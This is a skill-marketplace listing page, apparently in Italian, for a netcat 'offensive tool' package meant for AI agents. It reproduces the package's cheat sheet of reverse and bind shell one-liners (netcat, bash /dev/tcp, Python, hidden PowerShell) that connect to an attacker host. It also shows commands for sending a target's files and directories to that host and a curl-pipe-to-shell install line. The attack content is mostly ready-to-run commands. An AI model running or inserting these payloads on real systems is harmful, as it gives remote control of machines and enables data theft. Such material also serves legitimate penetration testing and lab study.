netcat
Auth/lab ref: Netcat (nc/ncat): TCP/UDP Swiss Army knife for callback-shell lab, bind-shell lab, port checks, banner grabbing, file transfer, port forwarding, and listener setup.
v2026.11.13-21cd5683 installazioni+3 in 7 giorni39 StelleGPL-2.0sincronizzato 10 ore fa
Installa
Non hai ancora la CLI di NotHoly? Installala prima.
$ curl -fsSL https://notholy.com/install.sh | sh$ notholy skills install aeondave/netcatScrive in ~/.notholy/skills dopo aver controllato la firma e lo SHA-256.
FirmaFirmato, ed25519
Pacchettob8b07d29…d6fd1270
b8b07d29f9d9…fbf8d6fd12702 file · 3.1 KBScansioneMedio4 segnalazioni
- command.pipe_to_shellSKILL.md:63
- command.pipe_to_shellreferences/shells.md:88
- command.pipe_to_shellreferences/shells.md:91
Sorgentegithub.com/AeonDave/malskill/tree/main/offensive-tools/network/netcat@21cd568
Questa voce non è ancora scritta in italiano, quindi è mostrata in un'altra lingua: English.
In questa pagina
TCP/UDP utility — shells, file transfer, port probing, port forwarding.
Quick Start
# Listener (catch reverse shell)
nc -lvnp 4444
# Connect to port (test connectivity / banner grab)
nc -nv 10.10.10.10 80
# Reverse shell (from target)
nc -e /bin/bash <attacker_ip> 4444Core Flags
| Flag | Purpose |
|---|---|
-l |
Listen mode |
-v |
Verbose |
-n |
No DNS resolution |
-p <port> |
Local port |
-e <cmd> |
Execute command on connect |
-u |
UDP mode |
-w <sec> |
Timeout |
-z |
Zero I/O mode (port scan) |
-k |
Keep listening after client disconnects (ncat) |
--ssl |
SSL/TLS (ncat only) |
Reverse Shells
# From Linux target (nc with -e)
nc -e /bin/bash <attacker> 4444
# From Linux target (nc without -e / busybox)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker> 4444 > /tmp/f
# From Windows target (ncat)
ncat -e cmd.exe <attacker> 4444
ncat -e powershell.exe <attacker> 4444
# Bash (no nc needed)
bash -i >& /dev/tcp/<attacker>/4444 0>&1
# Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<attacker>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
# PowerShell
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$client = New-Object System.Net.Sockets.TCPClient('<attacker>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"Bind Shell (target listens, attacker connects)
# Target listens
nc -lvnp 4444 -e /bin/bash # Linux
ncat -lvnp 4444 -e cmd.exe # Windows
# Attacker connects
nc -nv <target_ip> 4444Banner Grabbing / Port Check
# Banner grab
nc -nv 10.10.10.10 22
nc -nv 10.10.10.10 80
# Send HTTP request
echo -e "HEAD / HTTP/1.0\r\n\r\n" | nc -nv 10.10.10.10 80
# Quick port check (z flag)
nc -z -nv 10.10.10.10 22
nc -z -nv 10.10.10.10 1-1000 # port scan (slow; use nmap instead)File Transfer
# Receiver (attacker)
nc -lvnp 9999 > received_file
# Sender (target)
nc -nv <attacker> 9999 < file_to_send
# Directory (tar pipe)
# Receiver
nc -lvnp 9999 | tar xvf -
# Sender
tar cvf - /path/to/dir | nc -nv <attacker> 9999Port Forwarding (ncat)
# Forward local 8080 → remote 80
ncat -lvnp 8080 --sh-exec "ncat 10.10.10.10 80"
# Relay (ncat broker)
ncat -lvnp 4444 --brokerShell Upgrade (after catching nc shell)
# On target (in nc shell)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Background: Ctrl+Z
stty raw -echo; fg
# Set terminal size
export TERM=xterm
stty rows 40 cols 160Resources
| File | When to load |
|---|---|
references/shells.md |
Full reverse shell one-liners for all languages, shell upgrade steps, Windows shells |
File di questa versione
Permessi
| Permesso | Dichiarato | Trovato dalla scansione |
|---|---|---|
| Legge file | Sì | Sì |
| Scrive file | Sì | Sì |
| Esegue comandi shell | Sì | Sì |
| Usa la rete | Sì | Sì |
| Usa i connettori | No | No |
| Controlla un browser | No | No |
Segnalazioni della scansione
Rivisto il 13 nov 2026
- MediaComando · command.pipe_to_shellSKILL.md:63
- MediaComando · command.pipe_to_shellreferences/shells.md:88
- MediaComando · command.pipe_to_shellreferences/shells.md:91
- InfoLink · Link a domini esterni
Una scansione pulita abbassa il rischio, ma non prova che il pacchetto sia sicuro. Leggi quello che installi.
| Versione | Pubblicata | Commit | SHA-256 | Firma | Cambio di permessi |
|---|---|---|---|---|---|
| v2026.11.13-21cd568 | 13 nov 2026 | 21cd568 | b8b07d29 | Firmata | – |
Altro da AeonDave
Tutto da questo editoreAltro in Rete, wireless e telecomunicazioni
Vai alla categoria- performing-network-packet-capture-analysismukul975/performing-network-packet-capture-analysis4
- network-segmentation-reviewsecurityskills/network-segmentation-review3
- performing-ssl-stripping-attackmukul975/performing-ssl-stripping-attack3
- implementing-next-generation-firewall-with-palo-altomukul975/implementing-next-generation-firewall-with-palo-alto3
- configuring-zscaler-private-access-for-ztnamukul975/configuring-zscaler-private-access-for-ztna3
- implementing-canary-tokens-for-network-intrusionmukul975/implementing-canary-tokens-for-network-intrusion3
Chiedi tutto quello che il tuo perimetro consente.
Crea un account, aggiungi crediti e fai la prima domanda in chat o nel terminale.
- 1/3
Crea l'account
Privato o azienda. Puoi passare ad azienda in seguito senza perdere saldo o chiavi.
PrivatoAzienda - 2/3
Aggiungi crediti
Con carta. Paghi a token, senza abbonamento.
$5.00ricarica minima - 3/3
Chiedi
In chat, oppure installa la CLI ed esegui notholy login nel terminale.
$ notholy login